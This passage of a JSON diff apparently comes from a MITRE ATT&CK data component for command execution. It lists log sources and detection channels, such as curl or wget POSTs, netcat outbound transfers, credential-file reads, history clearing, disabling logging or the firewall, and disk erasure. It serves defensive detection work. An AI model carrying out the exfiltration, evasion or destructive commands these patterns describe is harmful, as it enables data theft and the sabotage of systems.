suspicious paths" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "Execution of PowerShell without -NoProfile flag" + }, + { + "name": "auditd:EXECVE", + "channel": "Process execution of update-ca-certificates or openssl with suspicious arguments" + }, + { + "name": "macos:unifiedlog", + "channel": "xattr -d com.apple.quarantine or similar removal commands" + }, + { + "name": "azure:signinLogs", + "channel": "OperationName=SetDomainAuthentication OR Update-MsolFederatedDomain" + }, + { + "name": "linux:syslog", + "channel": "Sudo or root escalation followed by filesystem mount commands" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4101" + }, + { + "name": "networkdevice:cli", + "channel": "Execution of privileged commands such as 'copy tftp flash', 'boot system', or 'debug memory'" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4105" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4106" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve syscalls for discovery commands (uname, hostname, id, whoami, ps, netstat, mount) with command-line parameter analysis" + }, + { + "name": "auditd:PROCTITLE", + "channel": "process title records containing discovery command sequences and environmental assessment patterns" + }, + { + "name": "macos:unifiedlog", + "channel": "Security framework operations including keychain access, cryptographic operations, and certificate validation" + }, + { + "name": "m365:unified", + "channel": "Set-Mailbox, New-InboxRule" + }, + { + "name": "macos:unifiedlog", + "channel": "None" + }, + { + "name": "networkdevice:cli", + "channel": "Execution of commands disabling crypto hardware acceleration (e.g., 'no crypto engine enable')" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of curl, wget, or custom scripts accessing financial endpoints" + }, + { + "name": "auditd:EXECVE", + "channel": "Execution of chattr to set +i or +a attributes" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of chflags hidden or setfile -a V" + }, + { + "name": "esxi:shell", + "channel": "mv, rename, or chmod commands moving VM files into hidden directories" + }, + { + "name": "esxi:hostd", + "channel": "execution + payload hints" + }, + { + "name": "linux:osquery", + "channel": "process_events.command_line" + }, + { + "name": "macos:unifiedlog", + "channel": "process:spawn, process:exec" + }, + { + "name": "esxi:vobd", + "channel": "shell session start" + }, + { + "name": "networkdevice:cli", + "channel": "shell command" + }, + { + "name": "WinEventLog:Microsoft-Office-Alerts", + "channel": "Office application warning or alert on macro execution from template" + }, + { + "name": "m365:unified", + "channel": "Set-Mailbox, Set-MailboxPolicy, Set-TrustedLocation" + }, + { + "name": "m365:office", + "channel": "Execution of unsigned macro from template" + }, + { + "name": "linux:cli", + "channel": "Terminal Command History" + }, + { + "name": "macos:unifiedlog", + "channel": "csrutil disable" + }, + { + "name": "macos:unifiedlog", + "channel": "log show --predicate 'process == '" + }, + { + "name": "networkdevice:syslog", + "channel": "Privilege-level command execution" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of tar, gzip, bzip2, or openssl with output redirection" + }, + { + "name": "saas:PRMetadata", + "channel": "Commit message or branch name contains encoded strings or payload indicators" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of launchctl with setenv or bootout targeting TCC.db or AppleScript under Finder context" + }, + { + "name": "esxi:shell", + "channel": "`esxcli software vib install` with `--force` or `--no-sig-check` from shell history or `shell.log`" + }, + { + "name": "AWS:CloudTrail", + "channel": "SendCommand, StartSession, ExecuteCommand: Unexpected AWS Systems Manager command execution targeting EC2 instances" + }, + { + "name": "esxi:vmkernel", + "channel": "Unexpected restarts of management agents or shell access" + }, + { + "name": "auditd:EXECVE", + "channel": "curl or wget with POST/PUT options" + }, + { + "name": "networkdevice:syslog", + "channel": "Detected CLI command to export key material" + }, + { + "name": "networkdevice:config", + "channel": "PKI export or certificate manipulation commands" + }, + { + "name": "macos:unifiedlog", + "channel": "command execution triggered by emond (e.g., shell, curl, python)" + }, + { + "name": "esxi:vmkernel", + "channel": "esxcli, vim-cmd invocation" + }, + { + "name": "esxi:shell", + "channel": "CLI session activity" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve=/sbin/shutdown or /sbin/reboot" + }, + { + "name": "esxi:shell", + "channel": "esxcli system shutdown or reboot invoked" + }, + { + "name": "networkdevice:syslog", + "channel": "reload command issued" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4103, 4104" + }, + { + "name": "auditd:PROCTITLE", + "channel": "command-line execution patterns for system discovery utilities (uname, hostname, ifconfig, netstat, lsof, ps, mount)" + }, + { + "name": "esxi:shell", + "channel": "shell command execution for system discovery (vim-cmd, esxcli, vmware-cmd) targeting VM inventory and host configuration" + }, + { + "name": "vpxd.log", + "channel": "VM inventory queries and configuration enumeration through vCenter API calls" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve calls modifying HISTFILE or HISTCONTROL via unset/export" + }, + { + "name": "macos:unifiedlog", + "channel": "Set or unset HIST* variables in shell environment" + }, + { + "name": "esxi:shell", + "channel": "unset HISTFILE or HISTFILESIZE modifications" + }, + { + "name": "networkdevice:cli", + "channel": "Commands like 'no logging' or equivalents that disable session history" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve calls to /usr/bin/locale or shell execution of $LANG" + }, + { + "name": "macos:unifiedlog", + "channel": "defaults read -g AppleLocale or systemsetup -gettimezone" + }, + { + "name": "networkdevice:cli", + "channel": "Execution of commands such as 'copy tftp flash', 'boot system ', 'reload'" + }, + { + "name": "auditd:EXECVE", + "channel": "curl -T, rclone copy" + }, + { + "name": "auditd:SYSCALL", + "channel": "execution of systemctl or service with enable/start/modify" + }, + { + "name": "macos:unifiedlog", + "channel": "launchctl load/unload or plist file modification" + }, + { + "name": "networkdevice:syslog", + "channel": "syslog facility LOCAL7 or trap messages" + }, + { + "name": "linux:cli", + "channel": "/home/*/.bash_history" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of lsmod, modinfo, or cat /proc/modules" + }, + { + "name": "networkdevice:config", + "channel": "Configuration changes referencing 'boot system tftp' or modification of startup-config pointing to external TFTP servers" + }, + { + "name": "macos:unifiedlog", + "channel": "dscl . -create" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of commands like `ls -l@`, `xattr -l`, or custom tools interacting with resource forks" + }, + { + "name": "esxi:vpxd", + "channel": "vCenter Management" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0064\", \"external_id\": \"DC0064\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Command\", \"channel\": \"None\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execution of realmd, samba-tool, or ldapmodify with user-related arguments\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"dsconfigad or dscl with create or append options for AD-bound users\"}, {\"name\": \"EDR:AMSI\", \"channel\": \"None\"}, {\"name\": \"linux:syslog\", \"channel\": \"/var/log/syslog or journalctl\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"Get-ADTrust|GetAllTrustRelationships\"}, {\"name\": \"gcp:audit\", \"channel\": \"None\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Execution of script interpreters by systemd timer (ExecStart)\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"InvokeFunction\"}, {\"name\": \"m365:unified\", \"channel\": \"Automated forwarding or file sync initiated by a logic app\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"EventCode=4104\"}, {\"name\": \"linux:syslog\", \"channel\": \"Suspicious script or command execution targeting browser folders\"}, {\"name\": \"esxi:shell\", \"channel\": \"snapshot create/copy, esxcli\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Commands like systemctl stop , service stop, or kill -9 \"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchctl unload, kill, or pkill commands affecting daemons or background services\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of security-agent detection or enumeration commands\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream --predicate\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"Execution of Microsoft script to enumerate custom forms in Outlook mailbox\"}, {\"name\": \"m365:messagetrace\", \"channel\": \"Inbound email triggers execution of mailbox-stored custom form\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Use of mv or cp to rename files with '.' prefix\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of chflags hidden or SetFile -a V\"}, {\"name\": \"esxi:shell\", \"channel\": \"interactive shell\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"CLI command\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"/var/log/vmkernel.log\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve calls to locale, timedatectl, or cat /etc/timezone\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"defaults read -g AppleLocale, systemsetup -gettimezone\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"profiles install -type=configuration\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"sleep function usage or loops (nanosleep, usleep) in scripts\"}, {\"name\": \"m365:unified\", \"channel\": \"Search-Mailbox, Get-MessageTrace, eDiscovery requests\"}, {\"name\": \"EDR:cli\", \"channel\": \"Command Line Telemetry\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream --predicate 'eventMessage contains \\\"loginwindow\\\" or \\\"pfctl\\\"'\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Command Audit / Configuration Change\"}, {\"name\": \"WinEventLog:Microsoft-Office/OutlookAddinMonitor\", \"channel\": \"Outlook loading add-in via unexpected load path or non-default profile context\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec or sudo usage with NOPASSWD context or echo modifying sudoers\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4104\"}, {\"name\": \"WinEventLog:Powershell\", \"channel\": \"EventCode=4104\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"execve: Execution of update-ca-certificates or trust anchor modification commands\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of /usr/bin/security add-trusted-cert or keychain modifications to System.keychain\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"gcore, gdb, strings, hexdump execution\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"connect, execve, write\"}, {\"name\": \"esxi:hostd\", \"channel\": \"command execution\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Execution of auditctl, systemctl stop auditd, or kill -9 auditd\"}, {\"name\": \"macos:syslog\", \"channel\": \"system.log\"}, {\"name\": \"esxi:hostd\", \"channel\": \"/var/log/hostd.log\"}, {\"name\": \"esxi:shell\", \"channel\": \"/var/log/shell.log\"}, {\"name\": \"docker:daemon\", \"channel\": \"docker exec or docker run with unexpected command/entrypoint\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve call including 'nohup' or trailing '&'\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"nohup, disown, or osascript execution patterns\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"CommandLine=copy-item or robocopy from UNC path\"}, {\"name\": \"esxi:shell\", \"channel\": \"invoked remote scripts (esxcli)\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"execution of systemctl with subcommands start, stop, enable, disable\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"Policy Update\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"None\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"eventName: RunInstances, CreateUser, PutRolePolicy, InvokeCommand\"}, {\"name\": \"gcp:audit\", \"channel\": \"methodName: setIamPolicy, startInstance, createServiceAccount\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Commands executed within an SSH session where no matching logon/authentication event exists\"}, {\"name\": \"esxi:hostd\", \"channel\": \"modification of config files or shell command execution\"}, {\"name\": \"kubernetes:audit\", \"channel\": \"Shell process (e.g., /bin/sh, /bin/bash) spawned in a container without an interactive session attached (i.e., automation anomaly)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of 'profiles install -type=configuration'\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"subsystem:com.apple.Terminal\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"eventlog\"}, {\"name\": \"esxi:hostd\", \"channel\": \"shell access or job registration\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"PowerShell launched from outlook.exe or triggered without user invocation\"}, {\"name\": \"m365:messagetrace\", \"channel\": \"Inbound email matches crafted rule trigger pattern tied to persistence logic\"}, {\"name\": \"linus:syslog\", \"channel\": \"None\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"EventCode=4103,4104\"}, {\"name\": \"linux:syslog\", \"channel\": \"Unusual outbound transfers from CLI tools like base64, gzip, or netcat\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"base64 or curl processes chained within short execution window\"}, {\"name\": \"esxi:shell\", \"channel\": \"base64 or gzip use within shell session\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec: Invocation of /usr/bin/defaults write or /usr/bin/plutil modifying plist keys\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"chmod, execve\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"chmod command with arguments including '+s', 'u+s', or numeric values 4000\\u20136777\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"command includes dscl . delete or sysadminctl --deleteUser\"}, {\"name\": \"fs:fsusage\", \"channel\": \"file system activity monitor\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"ip ssh pubkey-chain\"}, {\"name\": \"esxi:shell\", \"channel\": \"scripts or binaries with misleading names\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Execution of GUI-related binaries with suppressed window/display flags\"}, {\"name\": \"linuxsyslog\", \"channel\": \"nslcd or winbind logs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"DS daemon log entries\"}, {\"name\": \"esxi:hostd\", \"channel\": \"logline inspection\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"diskutil eraseDisk / asr restore with destructive flags\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"erase flash:, erase startup-config, format disk\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"command_exec\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: iptables, nft, firewall-cmd modifications\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"pfctl -d, socketfilterfw --setglobalstate off, or modifications to com.apple.alf\"}, {\"name\": \"esxi:hostd\", \"channel\": \"esxcli network firewall set commands\"}, {\"name\": \"docker:events\", \"channel\": \"container exec rm|container stop --force\"}, {\"name\": \"esxi:hostd\", \"channel\": \"event stream\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"CLI command logs\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"EventCode=4103\"}, {\"name\": \"esxi:shell\", \"channel\": \"/var/log/shell.log entries containing \\\"esxcli system clock get\\\"\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"command-exec: CLI commands containing \\\"show clock\\\", \\\"show clock detail\\\", \\\"show timezone\\\" executed by suspicious user/source\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"cmd: cmd=show clock detail\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"curl -X POST, wget --post-data\"}, {\"name\": \"linux:syslog\", \"channel\": \"sudo chage|grep pam_pwquality|cat /etc/login.defs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"pwpolicy|PasswordPolicy\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"cmd='show aaa*' OR 'show running-config | include password|aaa' OR 'show aaa common-criteria policy all'\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"CLI command audit\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"Execution of commands to load, copy, or replace system images (e.g., 'copy tftp flash', 'boot system')\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"Execution of PowerShell script to enumerate or remove malicious Home Page folder config\"}, {\"name\": \"m365:messagetrace\", \"channel\": \"Inbound email triggering Outlook to auto-access folder tied to malicious Home Page\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Command line contains smbutil view //, mount_smbfs //\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Invocation of scp, rsync, curl, or sftp\"}, {\"name\": \"esxi:hostd\", \"channel\": \"scp/ssh used to move file across hosts\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"command line arguments containing lsblk, fdisk, parted\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log messages related to disk enumeration context or Terminal session\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve calls modifying local mail filter configuration files\"}, {\"name\": \"esxi:hostd\", \"channel\": \"None\"}, {\"name\": \"esxi:shell\", \"channel\": \"None\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"None\"}, {\"name\": \"linux:syslog\", \"channel\": \"sudo execution of ffmpeg/gst-launch/v4l2-ctl by non-standard user\"}, {\"name\": \"docker:api\", \"channel\": \"docker logs access or container inspect commands from non-administrative users\"}, {\"name\": \"esxi:shell\", \"channel\": \"command IN (\\\"esxcli vm process list\\\", \\\"vim-cmd vmsvc/getallvms\\\")\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: process_name IN (\\\"virsh\\\", \\\"VBoxManage\\\", \\\"qemu-img\\\") AND command IN (\\\"list\\\", \\\"info\\\")\"}, {\"name\": \"esxi:shell\", \"channel\": \"openssl|tar|dd\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"SSM RunCommand\"}, {\"name\": \"azure:activity\", \"channel\": \"Intune PowerShell Scripts\"}, {\"name\": \"m365:exchange\", \"channel\": \"Cmdlet: Get-GlobalAddressList, Get-Recipient\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"Execution of commands like 'show running-config', 'copy running-config', or 'export config'\"}, {\"name\": \"esxi:syslog\", \"channel\": \"boot logs\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"system boot logs\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: service stop syslog, systemctl stop rsyslog, kill -9 syslog\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"defaults write com.apple.system.logging or logd manipulation\"}, {\"name\": \"esxi:hostd\", \"channel\": \"esxcli system syslog config set or reload\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: openssl pkcs12, certutil, keytool\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process calling security find-certificate, export, or import\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"Execution of CLI commands altering crypto parameters (e.g., 'crypto key generate rsa modulus 512')\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Process in container namespace executes curl|wget|bash|sh|python|nc with outbound args\"}, {\"name\": \"m365:exchange\", \"channel\": \"Get-RoleGroup, Get-DistributionGroup\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execution of systemctl or service with enable/start parameters\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of cat, less, grep, journalctl targeting log directories (/var/log/)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of log show, fs_usage, or cat targeting system.log\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"GetLogEvents: High frequency log exports from CloudWatch or equivalent services\"}, {\"name\": \"esxi:shell\", \"channel\": \"Execution of cat, tail, grep targeting /var/log/vmkernel.log or /var/log/hostd.log\"}, {\"name\": \"esxi:shell\", \"channel\": \"CLI usage logs\"}, {\"name\": \"macos:syslog\", \"channel\": \"/var/log/system.log\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of launchctl load/unload/start commands\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"Exchange Cmdlets\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of python, perl, or custom binaries invoking compression libraries\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve, USER_CMD\"}, {\"name\": \"auditd:USER_CMD\", \"channel\": \"USER_CMD\"}, {\"name\": \"esxi:shell\", \"channel\": \"Command execution trace\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"bash/zsh of base64, tar, gzip, or openssl immediately after file write\"}, {\"name\": \"linux:osquery\", \"channel\": \"Command-line includes base64 -d or openssl enc -d\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"base64 -d or osascript invoked on staged file\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"exec: Execution of dd, efibootmgr, or flashrom modifying firmware/boot partitions\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"curl -d, wget --post-data\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Processes executing sendmail/postfix with forged headers\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"diskutil partitionDisk or eraseVolume with partition scheme modifications\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"format flash:, format disk, reformat commands\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of tar, gzip, bzip2, xz, zip, or openssl with compression/encryption arguments\"}, {\"name\": \"auditd:PROCTITLE\", \"channel\": \"proctitle contains chmod, chown, setfacl, or attr commands with suspicious parameters\"}, {\"name\": \"esxi:shell\", \"channel\": \"shell command execution for chmod, chown, or file permission modification on VMFS or system files\"}, {\"name\": \"networkdevice:Firewall\", \"channel\": \"Audit trail or CLI/API access indicating commands like no access-list, delete rule-set, clear config\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"grep/cat/awk on files with password fields\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"grep/cat on files matching credential patterns\"}, {\"name\": \"kubernetes:audit\", \"channel\": \"process execution involving curl, grep, or awk on secrets\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"command-line execution invoking credential enumeration\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"promiscuous mode transitions (ioctl or ifconfig)\"}, {\"name\": \"fs:fsusage\", \"channel\": \"access to BPF devices or interface IOCTLs\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"exec command='monitor capture'\"}, {\"name\": \"WinEventLog:Microsoft-Office-Alerts\", \"channel\": \"Unexpected DLL or component loaded at Office startup\"}, {\"name\": \"m365:office\", \"channel\": \"Startup execution includes non-default component\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"diskutil eraseDisk/zeroDisk or asr restore with destructive flags\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"erase flash:, erase nvram:, format disk\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"spctl --master-disable, csrutil disable, or defaults write to disable Gatekeeper\"}, {\"name\": \"esxi:shell\", \"channel\": \"esxcli system syslog config set --loghost='' or stopping hostd service\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"no logging buffered, no aaa new-model, disable firewall\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"git push, curl -X POST\"}, {\"name\": \"linux:cli\", \"channel\": \"command logging\"}, {\"name\": \"esxi:hostd\", \"channel\": \"command log\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"command logs\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"interactive shell logging\"}, {\"name\": \"esxi:hostd\", \"channel\": \"Execution of '/bin/vmx' or modifications to '/etc/rc.local.d/local.sh'\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"chattr, rm, shred, dd run on recovery directories or partitions\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"command sequence: erase \\u2192 format \\u2192 reload\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process: at, job runner\"}, {\"name\": \"macos:osquery\", \"channel\": \"Interpreter exec with suspicious arguments as above\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of curl or wget writing files to /tmp/* followed by chmod or execution\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of downgraded interpreters such as python2 or forced fallback commands\"}, {\"name\": \"auditd:PROCTITLE\", \"channel\": \"proctitle contains chmod, chown, chgrp, setfacl, or attr with suspicious parameters (777, 755, +x, -R)\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Execution of gsettings set org.gnome.login-screen disable-user-list true\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of dscl . create with IsHidden=1\"}, {\"name\": \"linux:syslog\", \"channel\": \"sshd logs\"}, {\"name\": \"esxi:shell\", \"channel\": \"Shell Access/Command Execution\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"CLI Command Logging\"}, {\"name\": \"auditd:CONFIG_CHANGE\", \"channel\": \"udev rule reload or trigger command executed\"}, {\"name\": \"linux:cli\", \"channel\": \"Shell history logs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream --predicate 'processImagePath contains \\\"zip\\\" OR \\\"base64\\\"'\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"command logging\"}, {\"name\": \"esxi:hostd\", \"channel\": \"Command Execution\"}, {\"name\": \"macos:osquery\", \"channel\": \"launchd + process_events\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"DCUI shell start, BusyBox activity\"}, {\"name\": \"esxi:hostd\", \"channel\": \"remote CLI + vim-cmd logging\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"CLI Command Audit\"}, {\"name\": \"m365:defender\", \"channel\": \"Activity Log: Command Invocation\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"CmdletName: Get-Recipient, Get-User\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"Execution of 'Get-WmiObject Win32_Product' or similar PowerShell cmdlets\"}, {\"name\": \"linux:shell\", \"channel\": \"Manual invocation of software enumeration commands via interactive shell\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Command line arguments including SPApplicationsDataType\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"ssm:GetCommandInvocation\"}, {\"name\": \"esxi:shell\", \"channel\": \"esxcli software vib list\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"execution of setfattr or getfattr commands\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"xattr utility execution with -w or -p flags\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Execution of spoofing tools (e.g., hping3, nping, scapy) sending UDP packets to known amplifier ports\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execution of tools like cat, grep, or awk on credential files\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of 'security', 'cat', or 'grep' commands accessing credential storage\"}, {\"name\": \"linux:syslog\", \"channel\": \"CLI access to 'show running-config', 'show password', or 'cat config.txt'\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of curl, rsync, wget with internal knowledge base or IPs\"}, {\"name\": \"esxi:shell\", \"channel\": \"/root/.ash_history\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of systemctl, loginctl, or systemd-inhibit commands related to sleep/hibernate\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"EventCode=4103,4104,4105, 4106\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Execution of xev, xdotool, or input activity emulators\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchctl load or boot-time plist registration\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of interpreters creating archive-like outputs without calling tar/gzip\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"command audit\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"Interface commands\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"dscl -create\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"esxcli system account add\"}, {\"name\": \"ebpf:syscalls\", \"channel\": \"useradd or /etc/passwd modified inside container\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Execution of insmod, modprobe, or rmmod commands by non-standard users or outside expected timeframes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"kextload execution from Terminal or suspicious paths\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"Execution of PowerShell without -NoProfile flag\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Process execution of update-ca-certificates or openssl with suspicious arguments\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"xattr -d com.apple.quarantine or similar removal commands\"}, {\"name\": \"azure:signinLogs\", \"channel\": \"OperationName=SetDomainAuthentication OR Update-MsolFederatedDomain\"}, {\"name\": \"linux:syslog\", \"channel\": \"Sudo or root escalation followed by filesystem mount commands\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"EventCode=4101\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"Execution of privileged commands such as 'copy tftp flash', 'boot system', or 'debug memory'\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"EventCode=4105\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"EventCode=4106\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve syscalls for discovery commands (uname, hostname, id, whoami, ps, netstat, mount) with command-line parameter analysis\"}, {\"name\": \"auditd:PROCTITLE\", \"channel\": \"process title records containing discovery command sequences and environmental assessment patterns\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Security framework operations including keychain access, cryptographic operations, and certificate validation\"}, {\"name\": \"m365:unified\", \"channel\": \"Set-Mailbox, New-InboxRule\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"None\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"Execution of commands disabling crypto hardware acceleration (e.g., 'no crypto engine enable')\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of curl, wget, or custom scripts accessing financial endpoints\"}, {\"name\": 